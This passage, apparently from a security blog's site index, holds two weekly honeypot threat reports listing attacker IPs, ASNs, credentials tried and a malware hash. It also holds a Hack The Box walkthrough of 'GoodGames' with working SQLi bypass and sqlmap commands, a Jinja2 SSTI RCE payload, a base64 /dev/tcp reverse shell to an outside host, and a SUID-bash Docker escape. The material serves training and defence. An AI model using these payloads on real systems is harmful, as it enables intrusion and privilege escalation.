uptick of mssqld and a Turkish ISP in the top ASN. Vertical brute force targeting a specific sector and geography. 2. Comparative Volume (three weeks) # Honeypot Jul 7–11 Jul 12–18 Jul 19–25 Trend RDPHoneypot 111,818 2,312,634 843,181 📈📉 spike and drop Honeytrap 678,792 218,202 372,001 📉📈 V-shaped Cowrie 116,390 229,182 249,057 📈 sustained growth ConPot 1,594 4,461 122,376 📈📈📈 explosion Sentrypeer 36,522 340,759 119,651 📈📉 spike and drop Dionaea 61,123 91,957 92,722 ➡️ stable Adbhoney 2,618 2,012 1,737 ➡️ (payload +161%) Approx. total ~1,011,000 ~3,213,000 ~1,820,000 No sensor maintains stable behavior except Dionaea and Cowrie. This extreme week-to-week variability is itself a data point: a single-week snapshot without historical comparison would give a very distorted picture of this honeypot\u0026rsquo;s real risk level.\n3. ConPot — The Week\u0026rsquo;s Most Relevant Finding # 122,376 attacks, 1,009 unique IPs (x27 in volume, x4 in IPs compared to last week). Several abrupt peaks throughout the week (~20,000 events in a single interval), not gradual growth.\nRadical origin infrastructure shift # Last week ConPot\u0026rsquo;s origins were typical hosting/VPS providers. This week, the top ASN is dominated by residential ISPs:\nASN Organization Country Events 7922 Comcast Cable Communications USA 12,053 33363 Charter Communications USA 11,644 12322 Free SAS France 10,889 11426 / 20001 Charter Communications USA 9,872 / 7,923 3269 TIM Italy 6,337 7018 AT\u0026amp;T Enterprises USA 5,489 5089 Virgin Media UK 4,765 Comcast, Charter, AT\u0026amp;T, Virgin Media, Free SAS, and TIM are residential broadband operators. None is a hosting/VPS provider. This origin profile, combined with the fact that 99% of traffic targets port 161 (SNMP), is the characteristic signature of a botnet formed by compromised home routers or IoT devices scanning SNMP at scale — not an actor with their own attack infrastructure.\nWhy SNMP? SNMP (Simple Network Management Protocol) is the most widespread remote management protocol in routers, switches, and network devices. Scanning it massively serves to identify devices with SNMP enabled and default credentials (community string public/private), the first step to compromising new nodes to add to the botnet.\nThe IEC-104 protocol (electrical substation telecontrol, port 2404) remains present for a fourth consecutive week, though in minimal proportion compared to this week\u0026rsquo;s SNMP deluge.\n4. RDPHoneypot — Last Week\u0026rsquo;s Major Actor Disappears # 843,181 attacks, 453 unique IPs (compared to 2,312,634 last week). Two concrete peaks on July 22 and 23 (~85-90k each) and sustained decline the rest of the week.\nFlyservers S.A. collapse # Last week, Flyservers S.A. (two different ASNs) generated over 1,056,000 events — nearly half of all RDP traffic. This week, both ASNs combined total barely ~40,800 events: a 96% drop in seven days. This type of abrupt collapse is typical of: (a) the operator was detected and their infrastructure taken down by the provider, (b) they migrated to another provider, or (c) they simply paused the campaign.\nNew protagonists # ASN Organization Events 201814 MEVSPACE sp. z o.o. 260,270 205997 Vlad Cojuhari 224,226 \u0026ldquo;Vlad Cojuhari\u0026rdquo; (ASN 205997, 224,226 events) is an ASN registered in an individual\u0026rsquo;s name rather than a company — unusual, and common in smaller or less regulated hosting operations. Monaco and Panama, dominant last week (linked to Flyservers), virtually disappear from the top. Origin countries are now United States, Poland, France, and Azerbaijan.\n5. Honeytrap — Recovery Driven by Research Traffic # 372,001 attacks, 9,974 unique IPs (x1.7 compared to last week). Marked peak on July 22–23.\nThe dominant actor is not malicious # IP 141.76.94.28, belonging to ASN Verein zur Förderung eines Deutschen Forschungsnetzes e.V. (DFN) — Germany\u0026rsquo;s academic and research network — generates 146,980 events, nearly 40% of all Honeytrap traffic this week. It is, with high probability, an internet measurement/scanning project for academic research purposes. It should not be weighted the same as traffic from a malicious actor when assessing the real threat level for the week.\nThe most attacked ports maintain last week\u0026rsquo;s profile (8728/MikroTik, 5038/Asterisk AMI, 7070), now adding 8081 and 2222 (alternative SSH port, common in non-standard configurations).\n6. Cowrie — Third Week Confirming the Same Actor # 249,057 attacks, 1,623 unique IPs, 57 unique HASSH. Sustained and moderate growth, consistent with the two previous weeks.\nThree-week longitudinal confirmation # Indicator Week 1 (Jul 7–11) Week 2 (Jul 12–18) Week 3 (Jul 19–25) Subnet 45.153.34.x ✅ ~3,817/IP ✅ ~3,817/IP ✅ ~3,815/IP Redtail malware ✅ ✅ ✅ chattr -ia .ssh script ✅ ✅ ✅ xnxnxnxn loader (loongarch64/m68k) ❌ ✅ ❌ (one-off) The subnet 45.153.34.x, Redtail, and the .ssh blocking script are already permanent actors/TTPs of this honeypot. Last week\u0026rsquo;s loader with unusual architectures doesn\u0026rsquo;t reappear — it was a one-off campaign, not persistent.\nThe uname -a command nearly doubles in frequency (384 → 711 executions) — more activity from the same loader. TechTies Inc. and India Net Access Internet lead by ASN for a third consecutive week; IP 103.149.197.34 remains the most active.\n7. Sentrypeer — Recurring Actor, Third Week # 119,651 attacks, 192 unique IPs. Initial peak on July 19 and sustained decline the rest of the week.\n108.181.56.189 accumulates 59,769 events and is again the most active IP on the sensor, and one of the most visible in the global dashboard. With presence in at least two consecutive weeks and dashboard-level visibility, it is now a confirmed actor with prolonged activity against this instance.\nCurious technical detail # In the SIP user-agents panel, the string 'or\u0026quot;=' appears — literally a classic SQL/command injection payload, used here as a SIP header value. This is not a directed attack against the honeypot\u0026rsquo;s database, but a generic automated test to check whether the server processes headers without sanitizing. Illustrative of the noise level any mass scanner generates: it tries injection techniques regardless of whether the target protocol is SQL, SIP, or anything else.\n8. Dionaea — Brute Force Targeting Turkish ERP Software # 92,722 attacks, 1,799 unique IPs — stable volume compared to last week.\nTagcloud finding # Alongside the usual generic credentials (admin, root, sa), a set of terms appears that doesn\u0026rsquo;t fit generic brute force:\nTerm Meaning Context KASA Cash/register Cash module in Turkish ERP DEPO Warehouse Stock/warehouse module FATURA Invoice Billing module MUHASEBE Accounting Accounting module LOGO — Real brand of Turkish ERP software MIKRO — Real brand of Turkish accounting software BARKOD Barcode Inventory module LOGO and MIKRO are real brands of ERP/accounting software widely used in Turkey, with MSSQL databases as their typical backend. Combined with the mssqld protocol gaining weight in Dionaea and TurkNet İletişim Hizmetleri A.Ş. in the top ASN (3,410 events), this suggests a vertical attack: brute force targeting specifically MSSQL installations used by Turkish business management software, rather than the usual generic noise.\nMexico appears as the top origin country (new, not seen in previous weeks), with IP 187.235.152.60 (11,055 events, ASN UNINET — Mexico\u0026rsquo;s largest telecom operator). Saudi Arabia and Uruguay are also new in the top.\n9. Adbhoney — Three Weeks of Confirmed Growth # 1,737 attacks, 102 unique IPs. Sensor volume remains low and stable, but the relevant data is the payload progression:\nWeek Hash downloads Jul 7–11 110 Jul 12–18 228 Jul 19–25 287 The hash 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d53839b5.raw (Rebirth → com.ufo.miner → Trinity chain) has been growing consecutively for three weeks with the same payload. It\u0026rsquo;s the clearest indicator of longitudinal intelligence in the entire tracking: a real, active, expanding campaign — not a one-off event.\n10. Conclusions # The week\u0026rsquo;s finding is ConPot: residential ISPs + SNMP port 161 is the signature of an IoT/domestic router botnet — a qualitatively different actor type from the VPS/hosting infrastructure seen in previous weeks. Worth tracking next week to confirm whether the pattern consolidates or was a one-off.\nNot every volume spike is a threat: 40% of Honeytrap traffic this week comes from the German academic network DFN. Separating research scanning from real malicious traffic remains critical to avoid distorting perceived threat level.\nRedtail, subnet 45.153.34.x, and the Adbhoney payload have been active for three weeks — they are already solid candidates for permanent subnet-level and hash blocking rules in a real environment.\nThe Flyservers S.A. collapse on RDP illustrates how quickly an actor\u0026rsquo;s infrastructure changes — from dominating nearly half of a sensor\u0026rsquo;s traffic to virtually disappearing in seven days. Any ASN-based block list needs frequent revision.\nThe brute force against Turkish ERP software (LOGO/Mikro) in Dionaea is a good candidate for an independent post on vertical attacks targeting specific sectors and geographies.\nWith three weeks of accumulated data, the report is starting to have real longitudinal intelligence value. The next edition should include a fixed \u0026ldquo;persistent actors\u0026rdquo; section (IPs, hashes, and subnets seen in 2+ weeks) — there\u0026rsquo;s already enough history to sustain it.\nReport compiled from data collected in a publicly internet-exposed T-Pot instance. Methodology: export of aggregated Kibana dashboards (range July 19–25, 2026) plus credential tag clouds in CSV. Comparison made against the previous week reports (Jul 7–11 and Jul 12–18).\n","date":"26 July 2026","externalUrl":null,"permalink":"/honeypot/informe-semanal-03/","section":"Honeypots","summary":" Third weekly report from the T-Pot honeypot, period July 19–25, 2026. Total volume drops to ~1,820,000 events (half of last week), but the relevant data isn’t the total — it’s the composition: ConPot spikes x27 with origin in residential ISPs (Comcast, AT\u0026T, Virgin Media, Free SAS) — the signature of a domestic router botnet attacking SNMP, a qualitatively different actor from anything seen so far. Meanwhile, Flyservers S.A. collapses on RDP, the same Adbhoney payload is in its third week of growth, and Dionaea detects brute force specifically targeting Turkish accounting software over MSSQL. Period analyzed: July 19–25, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18\n","title":"Weekly Threat Intelligence Report — T-Pot Honeypot (Jul 19–25, 2026)","type":"honeypot"},{"content":"","date":"19 July 2026","externalUrl":null,"permalink":"/tags/tollfraud/","section":"Tags","summary":"","title":"TollFraud","type":"tags"},{"content":" Second weekly report from the T-Pot honeypot, period July 12–18, 2026. Total volume spikes to ~3,213,000 events (x3.2 compared to the previous week), but growth is not uniform: it\u0026rsquo;s almost entirely explained by two sensors — RDPHoneypot x20.7 with Flyservers S.A. as the dominant source, and Sentrypeer x9.3 with a target shift toward UK numbering. Recurring actors are confirmed across multiple sensors, and a new loader compiled for unusual architectures (loongarch64, m68k) is identified. Period analyzed: July 12–18, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous report: week of July 7–11, 2026\n1. Executive Summary # This week total volume spikes to ~3,213,000 events, compared to ~1,011,000 the previous week (x3.2). The jump is not uniform: it\u0026rsquo;s almost entirely concentrated in two very specific sensors, while others actually decrease.\nMost significant changes from the previous week:\nRDPHoneypot goes from 111,818 to 2,312,634 attacks (x20.7), with geographic focus shifted to Monaco, Germany, Panama, and Bulgaria. The source is concentrated in two ASNs sharing the same commercial name (Flyservers S.A.) that together account for over a million events. Sentrypeer goes from 36,522 to 340,759 attacks (x9.3), with a target change: last week it was French/North American numbering, this week it\u0026rsquo;s a UK block tested systematically and sequentially. Honeytrap drops from 678,792 to 218,202 attacks, but unique IPs increase from 6,119 to 10,015 — traffic shifted from few origins generating high volume to a more distributed pattern. Recurring actor confirmed: subnets 62.84.80.240-243 (Dionaea) and 217.154.196-197.x / 31.70.86.6x (Sentrypeer) reappear with the exact same IPs. No longer a one-off coincidence — it\u0026rsquo;s sustained presence. New multi-architecture loader in Cowrie: binaries for aarch64, i386, loongarch64, and m68k. The inclusion of loongarch64 (a niche Chinese architecture) and m68k (1980s hardware, today only in embedded systems/very old routers) is unusual. The same Adbhoney payload from last week reappears with 228 downloads (compared to 110), confirming the Android mining campaign (UFO Miner) is still active. IEC-104 (electrical substation protocol) remains present in ConPot for a second consecutive week. 2. Comparative Volume # Honeypot Week Jul 7–11 Week Jul 12–18 Change RDPHoneypot 111,818 2,312,634 x20.7 ⬆️⬆️ Sentrypeer 36,522 340,759 x9.3 ⬆️⬆️ Cowrie 116,390 229,182 x1.97 ⬆️ Honeytrap 678,792 218,202 x0.32 ⬇️⬇️ Dionaea 61,123 91,957 x1.50 ⬆️ ConPot 1,594 4,461 x2.80 ⬆️ Adbhoney 2,618 2,012 x0.77 ≈ Tanner ~2,000 ~6,000 ⬆️ Mailoney 906 ~6,000 ⬆️ strong Approx. total ~1,011,000 ~3,213,000 x3.18 Total growth is almost entirely explained by RDPHoneypot and Sentrypeer — between them they contribute over 2.6 million of the ~3.2 million events. Honeytrap, dominant last week, drops to a secondary role in volume, though its unique IP base nearly doubles (6,119 → 10,015): more dispersed traffic, not less interest in the service.\n3. RDPHoneypot — The Week\u0026rsquo;s Dominant Sensor # 2,312,634 attacks, 470 unique IPs. The average events per IP goes from ~447 last week to ~4,920 — not only are more IPs attacking, each one is far more aggressive.\nTemporal distribution # Sustained and growing activity throughout the week, with a documented peak on July 18 (56,293 attacks in a single interval). Unlike the isolated spike of July 9–10, here the pattern is sustained growth, not a spike and drop.\nGeographic origin and infrastructure # Dominant countries are Monaco, Germany, Bulgaria, and Panama — a notable shift from Bulgaria/Azerbaijan/Ukraine the previous week.\nASN Organization Events 48721 Flyservers S.A. 736,290 201814 MEVSPACE sp. z o.o. 424,077 35042 Layer7 Networks GmbH 343,918 267784 Flyservers S.A. (2nd AS) 320,582 211736 FOP Dmytro Nedilskyi 149,293 49434 Fbw Networks SAS 109,146 Flyservers S.A. appears with two different ASN numbers (48721 and 267784) totaling over 1,056,000 events — nearly half of all RDP traffic this week. Same hosting provider with presence in Panama, possibly the same actor operating IP blocks in two different ASN ranges of the same provider.\n4. Sentrypeer — VoIP Fraud Escalation and Target Shift # 340,759 attacks, 198 unique IPs (x9.3). The histogram shows two distinct waves: high activity July 12–13, sharp drop July 13–16, and another strong peak July 17–18.\nFraud target change # Last week: French and North American numbering. This week: UK block (prefix +44 1292 379...), tested with consecutive prefix variations (0014, 0021, 0024, 0031, 0041\u0026hellip;) — methodical sweep of a specific range, consistent with reconnaissance prior to targeted toll fraud, not generic scanning.\nInfrastructure # IP 108.181.56.189 accumulates 200,379 events — the most active individual IP in the entire dataset this week. Dominant ASNs are Psychz Networks (202,591) and IONOS SE (122,465).\nRecurring actor confirmed: 217.154.196.179, 217.154.197.64, 217.154.196.247, and 31.70.86.62 / 31.70.86.68 — flagged last week — reappear this week in the top 10, some with the exact same IPs. This is an operator with sustained, repeated presence against this specific service.\n5. Honeytrap — Less Volume, More Dispersion and Focus Shift # 218,202 attacks, 10,015 unique IPs. Strong initial peak on day 12 (~57,000 events) then low, stable activity for the rest of the week.\nTarget port change # Previous week This week 11434 — Ollama 2763 7860 — Gradio 5038 — Asterisk Manager Interface 8501 — Streamlit 8728 — MikroTik API AI infrastructure scanning disappears from the top 5. The shift to port 5038 (AMI, Asterisk Manager Interface) is relevant: it\u0026rsquo;s the management port for Asterisk PBX systems, which thematically connects to the VoIP fraud surge in Sentrypeer this same week — possibly coordination or a reflection of a broader IP telephony infrastructure reconnaissance campaign.\nLANTEC COMUNICACAO MULTIMIDIA LTDA (Brazil) dominates with 71,274 events. Modat B.V. (the research scanner identified last week) reappears with 11,086 events — present but in a much smaller proportion.\n6. Cowrie — Sustained Growth and New Multi-Architecture Loader # 229,182 attacks, 1,798 unique IPs, 65 unique HASSH (x1.97). Marked uptick July 17–18.\nCredentials (exact data via CSV) # Username Attempts Password Attempts Administrator 273,098 123456 1,629 Administrador 52,633 123 788 root 14,292 1234 732 admin 2,500 password 630 sa 679 admin 614 Notable data: Administrador (in Spanish, 52,633 attempts) appears as the second most tested username — localized dictionaries for Spanish speakers, absent last week.\nPost-exploitation # The command pattern repeats almost identically: uname -a, chattr -ia .ssh; lockr -ia .ssh, cat /proc/cpuinfo, whoami — same fingerprinting/.ssh blocking script from the previous week. Same loader type, same operation.\nNew loader: unusual architectures # Downloads captured from 41.216.189.157 with obfuscated name pattern xnxnxnxnxnxn[architecture]xnxn:\nArchitecture Context aarch64 ARM 64-bit — modern servers and mobile devices i386 x86 32-bit loongarch64 Chinese general-purpose architecture, very unusual in malware m68k 1980s architecture, today only in embedded systems/legacy routers Compiling for loongarch64 and m68k alongside the usual architectures indicates a deliberate attempt to maximize the compromisable device surface, including legacy hardware that normally doesn\u0026rsquo;t receive this type of malware attention. Redtail (identified last week) also remains present.\nTechTies Inc. (37,526) and Net Access Internet India (24,150) lead by ASN origin. IP 103.149.197.34 accumulates 24,150 events — virtually all Net Access Internet India traffic comes from that single IP.\n7. Dionaea — The Same Actor, Second Week # 91,957 attacks, 1,474 unique IPs (x1.50).\nIPs 62.84.80.240, .241, .242, and .243 — flagged last week with ~5,600–5,700 events each — reappear this week with similar counts (3,796–3,874 each). Second consecutive week. This is no longer noise: it\u0026rsquo;s an operator with fixed infrastructure and continued presence against this honeypot.\nThe ftpdatalisten protocol appears strongly (new in this week\u0026rsquo;s top), with port 21 (FTP) gaining weight compared to the near-exclusive SMB/RPC dominance last week.\nLebanon and Vietnam repeat as source countries; Japan and Armenia are added, absent last week. Broadband Plus S.a.l. (Lebanon) remains the most active ASN (15,316).\n8. ConPot — IEC-104 for a Second Consecutive Week # 4,461 attacks, 257 unique IPs (x2.8). The IEC-104 protocol (port 2404, electrical substation telecontrol) remains present — this is no longer a one-off event, there\u0026rsquo;s recurring probing.\nPort 623 (IPMI) activity also appears, out-of-band remote management of servers — a different vector from the ICS protocols seen so far, relevant because insecure IPMI is a real, documented compromise path in datacenter environments.\nCensys, Inc. appears in the top ASNs (110 events) — like Modat B.V. and ONYPHE SAS, it\u0026rsquo;s an internet research scanning company, not a malicious actor. Confirms the already-observed pattern: some \u0026ldquo;attack\u0026rdquo; traffic toward ICS honeypots is passive internet cataloguing.\n9. Adbhoney — Same Campaign, More Activity # 2,012 attacks, 106 unique IPs. The same payload hash from last week reappears with 228 downloads (compared to 110 the previous week). The Rebirth → com.ufo.miner → Trinity chain remains active with the same sample, confirming a persistent campaign, not an isolated event.\n10. Conclusions # This week\u0026rsquo;s growth is a redistribution of focus, not \u0026ldquo;more of the same\u0026rdquo;: RDP and VoIP spike while Honeytrap moderates. A real environment with exposed RDP or SIP PBX should consider this week a specific elevated-risk window for those two services.\nThe same actors/subnets reappear week after week (62.84.80.240-243 in Dionaea; 217.154.196-197.x and 31.70.86.6x in Sentrypeer). This now justifies a permanent subnet-level blocking rule for these ranges in a real environment, rather than one-off per-IP blocks.\nThe shift to AMI (5038) in Honeytrap coinciding with the Sentrypeer peak suggests broader interest in VoIP/PBX infrastructure this week — worth tracking next week to confirm whether it\u0026rsquo;s a trend or a one-off.\nThe loader with loongarch64 and m68k support is a distinctive technical data point: few honeypot analyses mention malware targeting these architectures. It warrants a separate post.\nThe reappearance and growth of the Adbhoney hash confirms the value of longitudinal tracking: it allows distinguishing between \u0026ldquo;new noise each week\u0026rdquo; and \u0026ldquo;persistent campaigns\u0026rdquo; — exactly what separates a threat intel report with real temporal perspective from an isolated snapshot.\nIEC-104 and IPMI in ConPot, two weeks in a row, consolidates the previous recommendation: any uptick on these ports warrants priority review given the type of infrastructure they simulate.\nReport compiled from data collected in a publicly internet-exposed T-Pot instance. Methodology: export of aggregated Kibana dashboards (range July 12–18, 2026) plus credential tag clouds in CSV. Comparison made against the previous week\u0026rsquo;s report (July 7–11, 2026).\n","date":"19 July 2026","externalUrl":null,"permalink":"/honeypot/informe-semanal-02/","section":"Honeypots","summary":" Second weekly report from the T-Pot honeypot, period July 12–18, 2026. Total volume spikes to ~3,213,000 events (x3.2 compared to the previous week), but growth is not uniform: it’s almost entirely explained by two sensors — RDPHoneypot x20.7 with Flyservers S.A. as the dominant source, and Sentrypeer x9.3 with a target shift toward UK numbering. Recurring actors are confirmed across multiple sensors, and a new loader compiled for unusual architectures (loongarch64, m68k) is identified. Period analyzed: July 12–18, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous report: week of July 7–11, 2026\n","title":"Weekly Threat Intelligence Report — T-Pot Honeypot (Jul 12–18, 2026)","type":"honeypot"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/containerescape/","section":"Tags","summary":"","title":"ContainerEscape","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/easy/","section":"Tags","summary":"","title":"Easy","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/goodgames/","section":"Tags","summary":"","title":"Goodgames","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/hackthebox/","section":"Tags","summary":"","title":"HackTheBox","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/series/hackthebox-cpts/","section":"Series","summary":"","title":"HackTheBox CPTS","type":"series"},{"content":" Walkthrough of GoodGames on Hack The Box. Easy difficulty machine running Linux. The chain starts with a SQL Injection on the login form that allows both authentication bypass and database dumping. A cracked MD5 hash grants access to an internal Flask admin panel where the username field is vulnerable to SSTI with Jinja2, giving RCE as root inside a Docker container. Exiting to the real host combines credential reuse via SSH with a classic container escape: the user\u0026rsquo;s home directory is mounted as a volume, and without user namespace remapping the container\u0026rsquo;s root can plant a SUID bit on bash that is effective on the host. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name GoodGames OS Linux (Docker container + Debian host) Difficulty Easy IP 10.129.31.181 Techniques SQL Injection · sqlmap · MD5 cracking · SSTI Jinja2 · Docker escape · SUID bash · Credential Reuse 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.31.181 PORT STATE SERVICE 80/tcp open http 💡 Attack surface: A single open port. All research goes through the web application.\n2. Web Enumeration — GoodGames Portal # Visiting the IP we find a games blog/store.\n3. Exploitation — SQL Injection on the Login # 3.1 Normal Login Request (captured with Burp) # POST /login HTTP/1.1 Host: goodgames.htb Content-Type: application/x-www-form-urlencoded email=admin%40goodgames.htb\u0026amp;password=1235 3.2 Authentication Bypass # We modify the email field with an always-true condition and comment out the rest of the query:\nemail=admin\u0026#39; or 1 = 1 -- -\u0026amp;password=1235 ✅ SQL Injection confirmed. The application logs us in as admin without knowing the real password.\n4. Discovering the Internal Panel # Exploring the panel (gear icon in the top bar) we find a reference to another host:\nhttp://internal-administration.goodgames.htb/ We add it to /etc/hosts:\necho \u0026#34;10.129.31.181 internal-administration.goodgames.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts Visiting it we find a Flask administration panel (Flask Volt Dashboard) with its own login.\n💡 We need credentials for this second panel. The next step is to dump the main portal\u0026rsquo;s database with sqlmap.\n5. Credential Extraction with sqlmap # 5.1 Save the Request to a File # cat \u0026gt; goodgames.req \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; POST /login HTTP/1.1 Host: goodgames.htb Content-Type: application/x-www-form-urlencoded Content-Length: 41 email=admin%40goodgames.htb\u0026amp;password=1235 EOF 5.2 Injection Confirmation # sqlmap -r goodgames.req Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: email=admin@goodgames.htb\u0026#39; AND (SELECT 5633 FROM (SELECT(SLEEP(5)))RcqB) AND \u0026#39;Wcif\u0026#39;=\u0026#39;Wcif\u0026amp;password=1235 back-end DBMS: MySQL \u0026gt;= 5.0.12 5.3 Dump the user Table # sqlmap -r goodgames.req --batch --dbs # available databases: information_schema, main sqlmap -r goodgames.req --batch -D main --tables # tables: user, blog, blog_comments sqlmap -r goodgames.req --batch -D main -T user --dump Database: main Table: user [1 entry] +----+---------------------+-------+----------------------------------+ | id | email | name | password | +----+---------------------+-------+----------------------------------+ | 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec | +----+---------------------+-------+----------------------------------+ 5.4 MD5 Hash Cracking # echo \u0026#34;2b22337f218b2d82dfc3b6f77e7cb8ec\u0026#34; \u0026gt; pass.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txt superadministrator (?) 🔑 Credentials: admin : superadministrator\n6. Accessing the Internal Flask Panel # With admin / superadministrator we log into internal-administration.goodgames.htb.\nIn the sidebar, Settings → General information has an editable Full Name field that is reflected in the right panel.\n7. Exploitation — Server-Side Template Injection (SSTI) # 7.1 Confirmation with Math Expression # We insert the classic Jinja2 SSTI expression:\n{{7*7}} ✅ SSTI confirmed. The 49 appears where the name should be — the template evaluates Python code server-side.\n7.2 RCE with Jinja2 Payload # {{ self.__init__.__globals__.__builtins__.__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;id\u0026#39;).read() }} ✅ RCE as root inside the Docker container.\n8. Reverse Shell # We base64-encode the shell to avoid issues with special characters:\necho -ne \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.211/4444 0\u0026gt;\u0026amp;1\u0026#39; | base64 # YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYx We inject the payload in the Full Name field:\n{{config.__class__.__init__.__globals__[\u0026#39;os\u0026#39;].popen(\u0026#39;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYx${IFS}|base64${IFS}-d|bash\u0026#39;).read()}} 💡 Why this alternate path: accessing os through config.__class__.__init__.__globals__ bypasses filters that block self.__init__ or __builtins__ directly. ${IFS} replaces spaces to avoid their premature interpretation in the HTTP request.\nnc -nlvp 4444 Connection received on 10.129.31.181 56342 root@3a453ab39d3d:/backend# whoami root TTY stabilization:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset 9. User Flag # cat /home/augustus/user.txt 🔑 User flag obtained.\n10. Environment Reconnaissance — We\u0026rsquo;re Inside a Container # ls /backend # Dockerfile project requirements.txt ip addr # inet 172.19.0.2/16 — container IP 💡 Deduction: the container has IP 172.19.0.2. By Docker convention, the host is usually the .1 of the same subnet: 172.19.0.1.\n11. Lateral Movement — Credential Reuse # The password extracted from the database is also the augustus user\u0026rsquo;s password on the real host:\nssh augustus@172.19.0.1 # password: superadministrator augustus@GoodGames:~$ ✅ Access to the real host as augustus.\n12. Privilege Escalation — Container Escape via Shared Volume # The Vulnerability # augustus\u0026rsquo;s $HOME directory on the host is mounted as a volume inside the container. Docker, without user namespace remapping, makes container root (UID 0) and host root (UID 0) the same in terms of permissions over that shared volume.\nThe plan: copy /bin/bash to the shared directory from the host, then from the container (where we\u0026rsquo;re root) assign it root:root and set the SUID bit. The result is a bash with an effective SUID on the host, executable by augustus.\nStep 1 — Copy bash to the shared directory (from the host) # augustus@GoodGames:~$ cp /bin/bash . Step 2 — Plant the SUID from the container (as root) # root@3a453ab39d3d:/backend# chown root:root /home/augustus/bash root@3a453ab39d3d:/backend# chmod 4755 /home/augustus/bash Step 3 — Execute the shell with privileges from the host # augustus@GoodGames:~$ ./bash -p bash-5.1# id uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus) ✅ EUID 0 obtained. Escalation to root completed.\n13. Root Flag # bash-5.1# cat /root/root.txt 🏁 Root flag obtained.\n14. Summary and Lessons Learned # Compromise path:\nRecon → Port 80 with GoodGames portal. SQLi → admin' or 1=1 -- - on the login → authentication bypass. sqlmap → dump main DB → MD5 hash of admin. John + rockyou → superadministrator. Internal Flask panel → internal-administration.goodgames.htb → login with extracted credentials. SSTI Jinja2 → Full Name field in Settings evaluates Python code → RCE as root in the container. Reverse shell → user flag at /home/augustus/user.txt. SSH → augustus@172.19.0.1 with the same password → access to the real host. Shared volume → bash with SUID planted from the container → ./bash -p on the host → EUID 0. What I learned from this machine:\nAuthentication bypass via SQLi is only the first step, not the objective. The real value here was using that same injection to extract credentials with sqlmap. Without the DB dump, the internal panel remained inaccessible. SQLi as a gateway to the real attack surface is the pattern to always follow.\nUnsalted MD5 hashes are trivially crackable. superadministrator appeared in the first seconds against rockyou. The difference between MD5 and bcrypt/Argon2 isn\u0026rsquo;t years — it\u0026rsquo;s seconds vs. infeasible hours. Any database storing unsalted MD5 is effectively storing passwords in plaintext for an attacker with access to it.\nSSTI in Jinja2 is RCE without sandboxing. The Full Name field reflected the value in a template without any escaping. Jinja2 has a sandboxed mode (SandboxedEnvironment) designed exactly for this — if user input is rendered, that\u0026rsquo;s the environment to use. Without it, any attacker-controlled data reaching render_template_string() is code execution.\n\u0026ldquo;Root in the container\u0026rdquo; doesn\u0026rsquo;t equal \u0026ldquo;root on the host\u0026rdquo; — unless isolation fails. In this case it failed in two simultaneous ways: system credentials were reused (allowing SSH to the host), and the shared volume without user remapping allowed modifying host files from the container. Fixing either one alone would have broken the chain.\nThe shared volume + SUID escape is elegant precisely because it needs no exploits. It only leverages Docker\u0026rsquo;s default behavior (without userns-remap) and a configuration oversight (mounting the user\u0026rsquo;s full $HOME). The correct defense isn\u0026rsquo;t a patch — it\u0026rsquo;s enabling userns-remap and mounting only what\u0026rsquo;s strictly necessary with minimal permissions.\nMitigations:\nVector Mitigation SQL Injection on the login form Use parameterized queries (prepared statements); never concatenate user input into SQL Unsalted MD5 hash for passwords Use bcrypt, scrypt, or Argon2 with per-user salt SSTI in Jinja2 (Full Name field) Don\u0026rsquo;t pass user input to render_template_string(); use render_template with variables, or SandboxedEnvironment if unavoidable RCE as root inside the container Run the app as a non-root user (USER directive in Dockerfile); apply read-only filesystem where possible Password reuse between panel and OS Unique, random credentials per service; rotate after any exposure Shared volume without user namespace remapping Enable userns-remap in Docker; mount only necessary subdirectories with minimal permissions; don\u0026rsquo;t share full $HOME directories ","date":"16 July 2026","externalUrl":null,"permalink":"/posts/htb-goodgames/","section":"Posts","summary":" Walkthrough of GoodGames on Hack The Box. Easy difficulty machine running Linux. The chain starts with a SQL Injection on the login form that allows both authentication bypass and database dumping. A cracked MD5 hash grants access to an internal Flask admin panel where the username field is vulnerable to SSTI with Jinja2, giving RCE as root inside a Docker container. Exiting to the real host combines credential reuse via SSH with a classic container escape: the user’s home directory is mounted as a volume, and without user namespace remapping the container’s root can plant a SUID bit on bash that is effective on the host. HackTheBox Linux Easy ","title":"HTB Walkthrough: GoodGames","type":"posts"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/categories/htb-walkthroughs/","section":"Categories","summary":"","title":"HTB Walkthroughs","type":"categories"},{"content":"","date":"16 July 